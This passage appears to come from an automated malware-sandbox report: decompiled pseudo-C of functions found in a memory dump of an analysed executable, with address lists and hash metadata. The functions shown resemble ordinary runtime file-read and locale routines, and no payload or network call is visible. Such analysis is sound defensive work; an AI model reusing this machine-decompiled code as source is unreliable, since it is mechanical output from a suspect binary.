					}
					__eflags = _t213 -  *0x4ee918; // 0x40
					if(__eflags >= 0) {
						goto L58;
					}
					_v24 = 1;
					_t239 = _t213 >> 6;
					_t235 = (_t213 & 0x0000003f) * 0x30;
					_v20 = _t239;
					_t149 =  *((intOrPtr*)(0x4ee718 + _t239 * 4));
					_v28 = _t235;
					_t222 =  *((intOrPtr*)(_t235 + _t149 + 0x28));
					_v5 = _t222;
					__eflags = _t222 & 0x00000001;
					if((_t222 & 0x00000001) == 0) {
						goto L58;
					}
					_t223 = _a12;
					__eflags = _t223 - 0x7fffffff;
					if(_t223 <= 0x7fffffff) {
						__eflags = _t223;
						if(_t223 == 0) {
							L57:
							return 0;
						}
						__eflags = _v5 & 0x00000002;
						if((_v5 & 0x00000002) != 0) {
							goto L57;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							goto L6;
						}
						_t153 =  *((intOrPtr*)(_t235 + _t149 + 0x29));
						_v5 = _t153;
						_v32 =  *((intOrPtr*)(_t235 + _t149 + 0x18));
						_t246 = 0;
						_t155 = _t153 - 1;
						__eflags = _t155;
						if(_t155 == 0) {
							_t236 = _v24;
							_t157 =  !_t223;
							__eflags = _t236 & _t157;
							if((_t236 & _t157) != 0) {
								_t158 = 4;
								_t224 = _t223 >> 1;
								_v16 = _t158;
								__eflags = _t224 - _t158;
								if(_t224 >= _t158) {
									_t158 = _t224;
									_v16 = _t224;
								}
								_t246 = E004B3009(_t224, _t158);
								E004B2FCF(0);
								E004B2FCF(0);
								_t249 = _t248 + 0xc;
								_v12 = _t246;
								__eflags = _t246;
								if(_t246 != 0) {
									_t162 = E004B907F(_t213, 0, 0, _v24);
									_t225 =  *((intOrPtr*)(0x4ee718 + _t239 * 4));
									_t248 = _t249 + 0x10;
									_t240 = _v28;
									 *((intOrPtr*)(_t240 + _t225 + 0x20)) = _t162;
									_t163 = _t246;
									 *(_t240 + _t225 + 0x24) = _t236;
									_t235 = _t240;
									_t223 = _v16;
									L21:
									_t241 = 0;
									_v40 = _t163;
									_t215 =  *((intOrPtr*)(0x4ee718 + _v20 * 4));
									_v36 = _t215;
									__eflags =  *(_t235 + _t215 + 0x28) & 0x00000048;
									_t216 = _a4;
									if(( *(_t235 + _t215 + 0x28) & 0x00000048) != 0) {
										_t218 =  *((intOrPtr*)(_t235 + _v36 + 0x2a));
										_v6 = _t218;
										__eflags = _t218 - 0xa;
										_t216 = _a4;
										if(_t218 != 0xa) {
											__eflags = _t223;
											if(_t223 != 0) {
												_t241 = _v24;
												 *_t163 = _v6;
												_t216 = _a4;
												_t232 = _t223 - 1;
												__eflags = _v5;
												_v12 = _t163 + 1;
												_v16 = _t232;
												 *((char*)(_t235 +  *((intOrPtr*)(0x4ee718 + _v20 * 4)) + 0x2a)) = 0xa;
												if(_v5 != 0) {
													_t191 =  *((intOrPtr*)(_t235 +  *((intOrPtr*)(0x4ee718 + _v20 * 4)) + 0x2b));
													_v6 = _t191;
													__eflags = _t191 - 0xa;
													if(_t191 != 0xa) {
														__eflags = _t232;
														if(_t232 != 0) {
															_t192 = _v12;
															_t241 = 2;
															 *_t192 = _v6;
															_t216 = _a4;
															_t233 = _t232 - 1;
															_v12 = _t192 + 1;
															_v16 = _t233;
															 *((char*)(_t235 +  *((intOrPtr*)(0x4ee718 + _v20 * 4)) + 0x2b)) = 0xa;
															__eflags = _v5 - _v24;
															if(_v5 == _v24) {
																_t199 =  *((intOrPtr*)(_t235 +  *((intOrPtr*)(0x4ee718 + _v20 * 4)) + 0x2c));
																_v6 = _t199;
																__eflags = _t199 - 0xa;
																if(_t199 != 0xa) {
																	__eflags = _t233;
																	if(_t233 != 0) {
																		_t200 = _v12;
																		_t241 = 3;
																		 *_t200 = _v6;
																		_t216 = _a4;
																		_t234 = _t233 - 1;
																		__eflags = _t234;
																		_v12 = _t200 + 1;
																		_v16 = _t234;
																		 *((char*)(_t235 +  *((intOrPtr*)(0x4ee718 + _v20 * 4)) + 0x2c)) = 0xa;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
									_t164 = E004C0EC7(_t216);
									__eflags = _t164;
									if(_t164 == 0) {
										L41:
										_v24 = 0;
										L42:
										_t167 =  *0x4f00e8(_v32, _v12, _v16,  &_v36, 0);
										__eflags = _t167;
										if(_t167 == 0) {
											L53:
											_t168 =  *0x4f0018();
											_t241 = 5;
											__eflags = _t168 - _t241;
											if(_t168 != _t241) {
												__eflags = _t168 - 0x6d;
												if(_t168 != 0x6d) {
													L37:
													E004A9638(_t168);
													goto L38;
												}
												_t242 = 0;
												goto L39;
											}
											 *((intOrPtr*)(E004A966E())) = 9;
											 *(E004A965B()) = _t241;
											goto L38;
										}
										_t229 = _a12;
										__eflags = _v36 - _t229;
										if(_v36 > _t229) {
											goto L53;
										}
										_t242 = _t241 + _v36;
										__eflags = _t242;
										L45:
										_t237 = _v28;
										_t175 =  *((intOrPtr*)(0x4ee718 + _v20 * 4));
										__eflags =  *(_t237 + _t175 + 0x28) & 0x00000080;
										if(( *(_t237 + _t175 + 0x28) & 0x00000080) != 0) {
											__eflags = _v5 - 2;
											if(_v5 == 2) {
												__eflags = _v24;
												_push(_t242 >> 1);
												_push(_v40);
												_push(_t216);
												if(_v24 == 0) {
													_t176 = E004B8688();
												} else {
													_t176 = E004B8998();
												}
											} else {
												_t230 = _t229 >> 1;
												__eflags = _t229 >> 1;
												_t176 = E004B8848(_t229 >> 1, _t229 >> 1, _t216, _v12, _t242, _a8, _t230);
											}
											_t242 = _t176;
										}
										goto L39;
									}
									_t231 = _v28;
									_t178 =  *((intOrPtr*)(0x4ee718 + _v20 * 4));
									__eflags =  *(_t231 + _t178 + 0x28) & 0x00000080;
									if(( *(_t231 + _t178 + 0x28) & 0x00000080) == 0) {
										goto L41;
									}
									_t180 =  *0x4f0268(_v32,  &_v44);
									__eflags = _t180;
									if(_t180 == 0) {
										goto L41;
									}
									__eflags = _v5 - 2;
									if(_v5 != 2) {
										goto L42;
									}
									_t115 =  &_v16; // 0xa
									_t184 =  *0x4f0280(_v32, _v12,  *_t115 >> 1,  &_v36, 0);
									__eflags = _t184;
									if(_t184 != 0) {
										_t229 = _a12;
										_t242 = _t241 + _v36 * 2;
										goto L45;
									}
									_t168 =  *0x4f0018();
									goto L37;
								} else {
									 *((intOrPtr*)(E004A966E())) = 0xc;
									 *(E004A965B()) = 8;
									L38:
									_t242 = _t241 | 0xffffffff;
									__eflags = _t242;
									L39:
									E004B2FCF(_t246);
									return _t242;
								}
							}
							L15:
							 *(E004A965B()) =  *_t206 & _t246;
							 *((intOrPtr*)(E004A966E())) = 0x16;
							E004A5E77();
							goto L38;
						}
						__eflags = _t155 != 1;
						if(_t155 != 1) {
							L13:
							_t163 = _a8;
							_v16 = _t223;
							_v12 = _t163;
							goto L21;
						}
						_t211 =  !_t223;
						__eflags = _t211 & 0x00000001;
						if((_t211 & 0x00000001) == 0) {
							goto L15;
						}
						goto L13;
					}
					L6:
					 *(E004A965B()) =  *_t151 & 0x00000000;
					 *((intOrPtr*)(E004A966E())) = 0x16;
					goto L59;
				} else {
					 *(E004A965B()) =  *_t212 & 0x00000000;
					_t145 = E004A966E();
					 *_t145 = 9;
					L60:
					return _t145 | 0xffffffff;
				}
			}

0x004b8b35
0x004b8b3c
0x004b8b56
0x004b8b58
0x004b8ec0
0x004b8ec0
0x004b8ec5
0x004b8ec5
0x004b8ecd
0x004b8ed3
0x004b8ed3
0x00000000
0x004b8ed3
0x004b8b5e
0x004b8b64
0x00000000
0x00000000
0x004b8b6c
0x004b8b78
0x004b8b7b
0x004b8b7e
0x004b8b81
0x004b8b88
0x004b8b8b
0x004b8b8f
0x004b8b92
0x004b8b95
0x00000000
0x00000000
0x004b8b9b
0x004b8b9e
0x004b8ba4
0x004b8bbe
0x004b8bc0
0x004b8ebc
0x00000000
0x004b8ebc
0x004b8bc6
0x004b8bca
0x00000000
0x00000000
0x004b8bd0
0x004b8bd4
0x00000000
0x00000000
0x004b8bdb
0x004b8bdf
0x004b8be2
0x004b8be5
0x004b8bea
0x004b8bea
0x004b8bed
0x004b8c0a
0x004b8c0f
0x004b8c11
0x004b8c13
0x004b8c33
0x004b8c34
0x004b8c36
0x004b8c39
0x004b8c3b
0x004b8c3d
0x004b8c3f
0x004b8c3f
0x004b8c4a
0x004b8c4c
0x004b8c53
0x004b8c58
0x004b8c5b
0x004b8c5e
0x004b8c60
0x004b8c85
0x004b8c8a
0x004b8c91
0x004b8c94
0x004b8c97
0x004b8c9b
0x004b8c9d
0x004b8ca1
0x004b8ca3
0x004b8ca6
0x004b8ca9
0x004b8cab
0x004b8cae
0x004b8cb5
0x004b8cb8
0x004b8cbd
0x004b8cc0
0x004b8cc9
0x004b8ccd
0x004b8cd0
0x004b8cd3
0x004b8cd6
0x004b8cdc
0x004b8cde
0x004b8ce7
0x004b8cea
0x004b8ced
0x004b8cf0
0x004b8cf1
0x004b8cf5
0x004b8cfb
0x004b8d05
0x004b8d0a
0x004b8d1a
0x004b8d1e
0x004b8d21
0x004b8d23
0x004b8d25
0x004b8d27
0x004b8d29
0x004b8d31
0x004b8d32
0x004b8d35
0x004b8d38
0x004b8d39
0x004b8d3f
0x004b8d49
0x004b8d51
0x004b8d54
0x004b8d60
0x004b8d64
0x004b8d67
0x004b8d69
0x004b8d6b
0x004b8d6d
0x004b8d6f
0x004b8d77
0x004b8d78
0x004b8d7b
0x004b8d7e
0x004b8d7e
0x004b8d7f
0x004b8d85
0x004b8d8f
0x004b8d8f
0x004b8d6d
0x004b8d69
0x004b8d54
0x004b8d27
0x004b8d23
0x004b8d0a
0x004b8cde
0x004b8cd6
0x004b8d95
0x004b8d9b
0x004b8d9d
0x004b8e10
0x004b8e10
0x004b8e14
0x004b8e24
0x004b8e2a
0x004b8e2c
0x004b8e88
0x004b8e88
0x004b8e90
0x004b8e91
0x004b8e93
0x004b8eac
0x004b8eaf
0x004b8dec
0x004b8ded
0x00000000
0x004b8df2
0x004b8eb5
0x00000000
0x004b8eb5
0x004b8e9a
0x004b8ea5
0x00000000
0x004b8ea5
0x004b8e2e
0x004b8e31
0x004b8e34
0x00000000
0x00000000
0x004b8e36
0x004b8e36
0x004b8e39
0x004b8e3c
0x004b8e3f
0x004b8e46
0x004b8e4b
0x004b8e4d
0x004b8e51
0x004b8e6c
0x004b8e70
0x004b8e71
0x004b8e74
0x004b8e75
0x004b8e81
0x004b8e77
0x004b8e77
0x004b8e77
0x004b8e53
0x004b8e53
0x004b8e53
0x004b8e5e
0x004b8e63
0x004b8e66
0x004b8e66
0x00000000
0x004b8e4b
0x004b8da2
0x004b8da5
0x004b8dac
0x004b8db1
0x00000000
0x00000000
0x004b8dba
0x004b8dc0
0x004b8dc2
0x00000000
0x00000000
0x004b8dc4
0x004b8dc8
0x00000000
0x00000000
0x004b8dd0
0x004b8ddc
0x004b8de2
0x004b8de4
0x004b8e08
0x004b8e0b
0x00000000
0x004b8e0b
0x004b8de6
0x00000000
0x004b8c62
0x004b8c67
0x004b8c72
0x004b8df3
0x004b8df3
0x004b8df3
0x004b8df6
0x004b8df7
0x00000000
0x004b8dff
0x004b8c60
0x004b8c15
0x004b8c1a
0x004b8c21
0x004b8c27
0x00000000
0x004b8c27
0x004b8bef
0x004b8bf2
0x004b8bfc
0x004b8bfc
0x004b8bff
0x004b8c02
0x00000000
0x004b8c02
0x004b8bf6
0x004b8bf8
0x004b8bfa
0x00000000
0x00000000
0x00000000
0x004b8bfa
0x004b8ba6
0x004b8bab
0x004b8bb3
0x00000000
0x004b8b3e
0x004b8b43
0x004b8b46
0x004b8b4b
0x004b8ed8
0x00000000
0x004b8ed8

Strings

, xrefs: 004B8DD0, 004B8DD5

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: b93778e46181107fc3c6e2ac5e2aef817999bea28431571dfd27f43e17552d41
Instruction ID: d5b9adcafe5bfc15190d9af14687e61e56e9f6713fc921f339dbd42edafeea13
Opcode Fuzzy Hash: b93778e46181107fc3c6e2ac5e2aef817999bea28431571dfd27f43e17552d41
Instruction Fuzzy Hash: 3BC1D674904249AFDB11DFA9C841BEE7BB9AF1A300F14019EE504AB392CB389D41CB79

Uniqueness

Uniqueness Score: -1.00%

Function 0048C268, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C268(void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				signed int _t297;
				void* _t555;
				short* _t799;
				void* _t872;
				signed int _t875;
				signed int _t876;
				signed int _t877;
				signed int _t878;
				signed int _t879;
				signed int _t880;
				signed int _t881;
				signed int _t882;
				signed int _t883;
				signed int _t884;
				signed int _t885;
				signed int _t886;
				signed int _t887;
				signed int _t888;
				signed int _t889;
				signed int _t890;
				signed int _t891;
				signed int _t892;
				signed int _t893;
				signed int _t894;
				signed int _t895;
				signed int _t896;
				signed int _t897;
				signed int _t899;
				signed int _t900;
				signed int _t901;
				signed int _t902;
				signed int _t903;
				signed int _t904;
				signed int _t905;
				signed int _t906;
				signed int _t907;
				signed int _t908;
				signed int _t909;
				signed int _t910;
				signed int _t911;
				signed int _t912;
				signed int _t913;
				signed int _t914;
				signed int _t915;
				signed int _t916;
				signed int _t917;
				signed int _t918;
				signed int _t919;
				signed int _t920;
				signed int _t921;
				signed int _t922;
				short* _t923;
				void* _t953;

				_t953 = __eflags;
				_push(8);
				E0049D90B(0x4d6966, __edi, __esi);
				E00488DEA( &_v20, 0);
				_t899 =  *0x4ede2c; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t899;
				_t297 = E0042B315(_a8, E0042B22E(0x4ed918, __edi, _t899, _t953));
				_t874 = _t297;
				if(_t297 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t874);
				} else {
					if(_t899 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048DDCB(_t874, _t899, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t874, _t899);
							E00488DEA( &_v20, 0);
							_t900 =  *0x4ede0c; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t900;
							_t875 = E0042B315(_a8, E0042B22E(0x4eddb0, _t874, _t900, __eflags));
							__eflags = _t875;
							if(_t875 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t875);
							} else {
								__eflags = _t900;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048DE31(_t872, _t875, _t900, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t875, _t900);
										E00488DEA( &_v20, 0);
										_t901 =  *0x4edddc; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t901;
										_t876 = E0042B315(_a8, E0042B22E(0x4edd88, _t875, _t901, __eflags));
										__eflags = _t876;
										if(_t876 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t876);
										} else {
											__eflags = _t901;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048DED3(_t872, _t876, _t901, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t876, _t901);
													E00488DEA( &_v20, 0);
													_t902 =  *0x4eddfc; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t902;
													_t877 = E0042B315(_a8, E0042B22E(0x4ed910, _t876, _t902, __eflags));
													__eflags = _t877;
													if(_t877 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t877);
													} else {
														__eflags = _t902;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048DF75(_t877, _t902, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t877, _t902);
																E00488DEA( &_v20, 0);
																_t903 =  *0x4ede10; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t903;
																_t878 = E0042B315(_a8, E0042B22E(0x4eddb4, _t877, _t903, __eflags));
																__eflags = _t878;
																if(_t878 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t878);
																} else {
																	__eflags = _t903;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048DFE5(_t878, _t903, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t878, _t903);
																			E00488DEA( &_v20, 0);
																			_t904 =  *0x4edde0; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t904;
																			_t879 = E0042B315(_a8, E0042B22E(0x4edd8c, _t878, _t904, __eflags));
																			__eflags = _t879;
																			if(_t879 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t879);
																			} else {
																				__eflags = _t904;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E04D(_t879, _t904, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t879, _t904);
																						E00488DEA( &_v20, 0);
																						_t905 =  *0x4ede14; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t905;
																						_t880 = E0042B315(_a8, E0042B22E(0x4eddb8, _t879, _t905, __eflags));
																						__eflags = _t880;
																						if(_t880 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t880);
																						} else {
																							__eflags = _t905;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E0B5(_t880, _t905, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t880, _t905);
																									E00488DEA( &_v20, 0);
																									_t906 =  *0x4edde4; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t906;
																									_t881 = E0042B315(_a8, E0042B22E(0x4edd90, _t880, _t906, __eflags));
																									__eflags = _t881;
																									if(_t881 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t881);
																									} else {
																										__eflags = _t906;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E11D(_t881, _t906, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t881, _t906);
																												E00488DEA( &_v20, 0);
																												_t907 =  *0x4ede18; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t907;
																												_t882 = E0042B315(_a8, E0042B22E(0x4eddbc, _t881, _t907, __eflags));
																												__eflags = _t882;
																												if(_t882 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t882);
																												} else {
																													__eflags = _t907;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E185(_t882, _t907, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t882, _t907);
																															E00488DEA( &_v20, 0);
																															_t908 =  *0x4edde8; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t908;
																															_t883 = E0042B315(_a8, E0042B22E(0x4edd94, _t882, _t908, __eflags));
																															__eflags = _t883;
																															if(_t883 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t883);
																															} else {
																																__eflags = _t908;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E1ED(_t883, _t908, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t883, _t908);
																																		E00488DEA( &_v20, 0);
																																		_t909 =  *0x4ede20; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t909;
																																		_t884 = E0042B315(_a8, E0042B22E(0x4eddc4, _t883, _t909, __eflags));
																																		__eflags = _t884;
																																		if(_t884 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t884);
																																		} else {
																																			__eflags = _t909;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E255(_t884, _t909, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					E0049D90B(0x4d6966, _t884, _t909);
																																					E00488DEA( &_v20, 0);
																																					_t910 =  *0x4ede1c; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t910;
																																					_t885 = E0042B315(_a8, E0042B22E(0x4eddc0, _t884, _t910, __eflags));
																																					__eflags = _t885;
																																					if(_t885 != 0) {
																																						L82:
																																						E00488E42( &_v20);
																																						return E0049D8D4(_t885);
																																					} else {
																																						__eflags = _t910;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E2D9(_t885, _t910, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								E0049D90B(0x4d6966, _t885, _t910);
																																								E00488DEA( &_v20, 0);
																																								_t911 =  *0x4eddf0; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t911;
																																								_t886 = E0042B315(_a8, E0042B22E(0x4edd9c, _t885, _t911, __eflags));
																																								__eflags = _t886;
																																								if(_t886 != 0) {
																																									L89:
																																									E00488E42( &_v20);
																																									return E0049D8D4(_t886);
																																								} else {
																																									__eflags = _t911;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E35E(_t886, _t911, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											E0049D90B(0x4d6966, _t886, _t911);
																																											E00488DEA( &_v20, 0);
																																											_t912 =  *0x4eddec; // 0x0
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t912;
																																											_t887 = E0042B315(_a8, E0042B22E(0x4edd98, _t886, _t912, __eflags));
																																											__eflags = _t887;
																																											if(_t887 != 0) {
																																												L96:
																																												E00488E42( &_v20);
																																												return E0049D8D4(_t887);
																																											} else {
																																												__eflags = _t912;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E3E2(_t887, _t912, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														E0049D90B(0x4d6966, _t887, _t912);
																																														E00488DEA( &_v20, 0);
																																														_t913 =  *0x4ede00; // 0x0
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t913;
																																														_t888 = E0042B315(_a8, E0042B22E(0x4edda4, _t887, _t913, __eflags));
																																														__eflags = _t888;
																																														if(_t888 != 0) {
																																															L103:
																																															E00488E42( &_v20);
																																															return E0049D8D4(_t888);
																																														} else {
																																															__eflags = _t913;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E467(_t888, _t913, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	E0049D90B(0x4d6966, _t888, _t913);
																																																	E00488DEA( &_v20, 0);
																																																	_t914 =  *0x4eddd0; // 0x0
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t914;
																																																	_t889 = E0042B315(_a8, E0042B22E(0x4edd7c, _t888, _t914, __eflags));
																																																	__eflags = _t889;
																																																	if(_t889 != 0) {
																																																		L110:
																																																		E00488E42( &_v20);
																																																		return E0049D8D4(_t889);
																																																	} else {
																																																		__eflags = _t914;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			__eflags = E0048E4CF(_t889, _t914, __eflags) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(8);
																																																				E0049D90B(0x4d6966, _t889, _t914);
																																																				E00488DEA( &_v20, 0);
																																																				_t915 =  *0x4ede04; // 0x0
																																																				_v4 = _v4 & 0x00000000;
																																																				_v16 = _t915;
																																																				_t890 = E0042B315(_a8, E0042B22E(0x4edda8, _t889, _t915, __eflags));
																																																				__eflags = _t890;
																																																				if(_t890 != 0) {
																																																					L117:
																																																					E00488E42( &_v20);
																																																					return E0049D8D4(_t890);
																																																				} else {
																																																					__eflags = _t915;
																																																					if(__eflags == 0) {
																																																						_push(_a8);
																																																						_push( &_v16);
																																																						__eflags = E0048E537(_t890, _t915, __eflags) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E0042B042(__eflags);
																																																							asm("int3");
																																																							_push(8);
																																																							E0049D90B(0x4d6966, _t890, _t915);
																																																							E00488DEA( &_v20, 0);
																																																							_t916 =  *0x4eddd4; // 0x0
																																																							_v4 = _v4 & 0x00000000;
																																																							_v16 = _t916;
																																																							_t891 = E0042B315(_a8, E0042B22E(0x4edd80, _t890, _t916, __eflags));
																																																							__eflags = _t891;
																																																							if(_t891 != 0) {
																																																								L124:
																																																								E00488E42( &_v20);
																																																								return E0049D8D4(_t891);
																																																							} else {
																																																								__eflags = _t916;
																																																								if(__eflags == 0) {
																																																									_push(_a8);
																																																									_push( &_v16);
																																																									__eflags = E0048E59F(_t891, _t916, __eflags) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E0042B042(__eflags);
																																																										asm("int3");
																																																										_push(8);
																																																										E0049D90B(0x4d6966, _t891, _t916);
																																																										E00488DEA( &_v20, 0);
																																																										_t917 =  *0x4ede08; // 0x0
																																																										_v4 = _v4 & 0x00000000;
																																																										_v16 = _t917;
																																																										_t892 = E0042B315(_a8, E0042B22E(0x4eddac, _t891, _t917, __eflags));
																																																										__eflags = _t892;
																																																										if(_t892 != 0) {
																																																											L131:
																																																											E00488E42( &_v20);
																																																											return E0049D8D4(_t892);
																																																										} else {
																																																											__eflags = _t917;
																																																											if(__eflags == 0) {
																																																												_push(_a8);
																																																												_push( &_v16);
																																																												__eflags = E0048E607(_t892, _t917, __eflags) - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													E0042B042(__eflags);
																																																													asm("int3");
																																																													_push(8);
																																																													E0049D90B(0x4d6966, _t892, _t917);
																																																													E00488DEA( &_v20, 0);
																																																													_t918 =  *0x4eddd8; // 0x0
																																																													_v4 = _v4 & 0x00000000;
																																																													_v16 = _t918;
																																																													_t893 = E0042B315(_a8, E0042B22E(0x4edd84, _t892, _t918, __eflags));
																																																													__eflags = _t893;
																																																													if(_t893 != 0) {
																																																														L138:
																																																														E00488E42( &_v20);
																																																														return E0049D8D4(_t893);
																																																													} else {
																																																														__eflags = _t918;
																																																														if(__eflags == 0) {
																																																															_push(_a8);
																																																															_push( &_v16);
																																																															__eflags = E0048E682(_t893, _t918, __eflags) - 0xffffffff;
																																																															if(__eflags == 0) {
																																																																E0042B042(__eflags);
																																																																asm("int3");
																																																																_push(8);
																																																																E0049D90B(0x4d6966, _t893, _t918);
																																																																E00488DEA( &_v20, 0);
																																																																_t919 =  *0x4ede24; // 0x0
																																																																_v4 = _v4 & 0x00000000;
																																																																_v16 = _t919;
																																																																_t894 = E0042B315(_a8, E0042B22E(0x4eddc8, _t893, _t919, __eflags));
																																																																__eflags = _t894;
																																																																if(_t894 != 0) {
																																																																	L145:
																																																																	E00488E42( &_v20);
																																																																	return E0049D8D4(_t894);
																																																																} else {
																																																																	__eflags = _t919;
																																																																	if(__eflags == 0) {
																																																																		_push(_a8);
																																																																		_push( &_v16);
																																																																		__eflags = E0048E6FD(_t894, _t919, __eflags) - 0xffffffff;
																																																																		if(__eflags == 0) {
																																																																			E0042B042(__eflags);
																																																																			asm("int3");
																																																																			_push(8);
																																																																			E0049D90B(0x4d6966, _t894, _t919);
																																																																			E00488DEA( &_v20, 0);
																																																																			_t920 =  *0x4eddf4; // 0x0
																																																																			_v4 = _v4 & 0x00000000;
																																																																			_v16 = _t920;
																																																																			_t895 = E0042B315(_a8, E0042B22E(0x4edda0, _t894, _t920, __eflags));
																																																																			__eflags = _t895;
																																																																			if(_t895 != 0) {
																																																																				L152:
																																																																				E00488E42( &_v20);
																																																																				return E0049D8D4(_t895);
																																																																			} else {
																																																																				__eflags = _t920;
																																																																				if(__eflags == 0) {
																																																																					_push(_a8);
																																																																					_push( &_v16);
																																																																					__eflags = E0048E769(_t895, _t920, __eflags) - 0xffffffff;
																																																																					if(__eflags == 0) {
																																																																						E0042B042(__eflags);
																																																																						asm("int3");
																																																																						_push(8);
																																																																						E0049D90B(0x4d6966, _t895, _t920);
																																																																						E00488DEA( &_v20, 0);
																																																																						_t921 =  *0x4ede28; // 0x0
																																																																						_v4 = _v4 & 0x00000000;
																																																																						_v16 = _t921;
																																																																						_t896 = E0042B315(_a8, E0042B22E(0x4eddcc, _t895, _t921, __eflags));
																																																																						__eflags = _t896;
																																																																						if(_t896 != 0) {
																																																																							L159:
																																																																							E00488E42( &_v20);
																																																																							return E0049D8D4(_t896);
																																																																						} else {
																																																																							__eflags = _t921;
																																																																							if(__eflags == 0) {
																																																																								_push(_a8);
																																																																								_push( &_v16);
